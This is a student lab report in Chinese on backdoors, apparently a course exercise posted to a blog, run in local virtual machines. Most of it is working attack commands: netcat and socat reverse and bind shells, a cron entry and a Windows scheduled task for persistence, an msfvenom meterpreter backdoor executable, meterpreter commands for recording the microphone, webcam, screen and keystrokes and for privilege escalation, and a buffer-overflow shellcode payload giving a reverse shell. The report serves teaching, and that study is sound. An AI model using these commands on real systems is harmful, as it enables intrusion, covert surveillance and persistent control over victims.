20175133 于沛辰 Exp2 后门原理与实践
0.基础知识
0.1 后门概念
后门就是不经过正常认证流程而访问系统的通道。
0.2 哪里有后门?
- 编译器留后门
- 操作系统留后门
- 最常见的当然还是应用程序中留后门
- 还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序。
狭义定义:
- 特指潜伏于操作系统中专门做后门的一个程序,“坏人”可以连接这个程序
- 远程执行各种指令。
- 概念和木马有重叠
0.3 常用后门工具:netcat
- 又名nc,ncat
- 是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用
1.实验内容
1.1 Win获得Linux Shell
以下实践Windows基本Win7-64bit, Kali 2020-64bit.
·打开Windows监听
在虚拟机win7上调出命令指示符输入指令 ipconfig 查看地址
打开监听,输入指令 ncat.exe -l -p 5133
·Linux反弹连接win
先输入指令 apt-get install ufw 安装,然后再输入指令 ufw disable 关闭kali防火墙
在kali的终端输入命令 nc 192.168.199.136 5133 -e /bin/sh
windows下获得一个linux shell,可运行任何指令,如ls
·Linux获得Win Shell
在kali终端输入指令 ifconfig 查看地址
输入指令 nc -l -p 5133 ,打开监听
Windows反弹连接Linux,在虚拟机win7终端输入命令 ncat.exe -e cmd.exe
192.168.199.130 5133
Linux下看到Windows的命令提示
·nc传输数据
在虚拟机Win7输入指令 ncat.exe -l 5133 建立连接
在Linux中连接Windows,输入指令 nc 192.168.199.140 5133
建立连接后传输数据
·启动corn
在Windows终端输入 ncat.exe -l 5133 建立监听
在Linux终端输入 crontab -e,选择[3]
并在最后一行添加 20 4 * * * /bin/netcat 192.168.199.140 5133 -e /bin/sh ,意为每天4:20执行反向连接指令
到时间(4:20)时,受到反向连接
1.2 使用socat获取主机操作Shell, 任务计划启动
·下载socat,解压后直接使用
·创建新任务
路径:Windows->控制面板->管理工具->任务计划程序。
·新建触发器并设置所有用户
·新建操作,在程序或脚本处选中之前解压的socat文件,并添加参数 tcp-listen:5133 exec:cmd.exe,pty,stderr
·注销Windows重新登陆后,就可以看到“ypcat”正在运行
·在Linux终端输入 socat - tcp:192.168.199.139:5133 ,能看到获得shell,说明成功启动任务计划
1.3使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
·在Linux终端输入指令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.199.139 LPORT=5133 -f exe > 20175133_backdoor.exe
·输入后发现是软件版本较低,会出现以下提示
·输入指令 gem install bundler:1.17.3 安装版本为1.17.3的bundler
·安装好后,在Windows终端输入指令 ncat.exe -lv 5133 > 20175133_backdoor.exe ,建立监听,准备接收
·在Linux终端输入指令: nc 192.168.199.142 5133 < 20175133_backdoor.exe ,将后门程序20175133_backdoor.exe传送到Windows中
·可以看到来自Linux IP 192.168.199.130
·并看到生成的后门文件
·在Linux再打开一个终端,并输入 msfconsole ,打开msfconsole控制端
依次输入,分别设置payload,LHOST,LPORT
-
use exploit/multi/handler启用侦听
-
set payload windows/x64/meterpreter/reverse_tcp
-
set LHOST 192.168.199.130
-
set LPORT 5133
-
exploit 开始监听
在Windows中打开之前的后门文件,可以看到Linux获得了Windows的shell
1.4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
·接上一步继续
·在kali终端输入指令 record_mic 截获音频
·输入指令 webcam_snap 使用摄像头拍照
·输入指令 screenshot 截屏
·输入命令 keyscan_start 记录击键,命令 keyscan_dump 查看击键记录
·输入指令 getuid 查看当前用户, getsystem 提权
·截获到:
1.5 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
·在官网下载用于反弹连接的shellcode
·参照实验一,关闭内存地址随机化,设置堆栈可执行
·根据上一次的步骤,可以得到shellcode地址为:0xffffd210+4=0xffffd214(终端一)
·打开刚才下载的文件里的c文件,并添加自己得到的shellcode地址生成新的shellcode
·再打开一个终端,输入(终端二):
perl -e 'print "A" x 32;print"\x14\xd2\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode
·打开第三个终端,打开msfconsole,依次输入
use exploit/multi/handler // 使用监听 set payload linux/x86/shell_reverse_tcp set LHOST 127.0.0.1 set LPORT 4444 //使用默认主机号、端口号 show options exploit // 设置完成
·设置完成后,终端二输入指令 (cat input_shellcode;cat) | ./pwn1 可以看到监听控制台获得shell
2.问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
答:通过第三方网站下载软件(安装包)有很大概率,或者在安装软件时被诱导安装后门。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
答:Windows:将后门伪装成程序让受害者自己运行,或者引诱受害者运行;定时启动
linux:也可以定时启动、将其绑定到其他文件上,运行该文件时启动,或通过corn启动
(3)Meterpreter有哪些给你映像深刻的功能?
答:被攻击机的隐私一览无余,尤其是开启摄像头、录音截屏等功能,随时会被监视,毫无隐私可言
(4)如何发现自己有系统有没有被安装后门?
答:初步可以打开杀软进行检查,也可以自己查看进程,看看是否有有嫌疑的进程,有一定条件的可以自行查看端口,是否有无故开启的端口。
3.实验感想
这次的实验遇到了非常多的问题,足足做了4天之多,从不能安装启用msf再到接收不到被攻击机的shell,询问了许多同学,也得到了老师的帮助,好在最后问题都逐一化解。这次实验让我更加深刻地认识到了后门的“恐怖”,也让我加强了网络的防患意识,做完实验后我迅速打开了防火墙,避免在自己疏忽的情况下被植入后门,总而言之,这次实验不仅让我站在“攻击者”的角度学习、体验了获取别人的方法和途径,也让我感受到“受害者”的无奈和任人宰割,希望通过这次实验,时时刻刻提醒自己,注意网络安全。
来源:https://www.cnblogs.com/BESTIYPC/p/12492140.html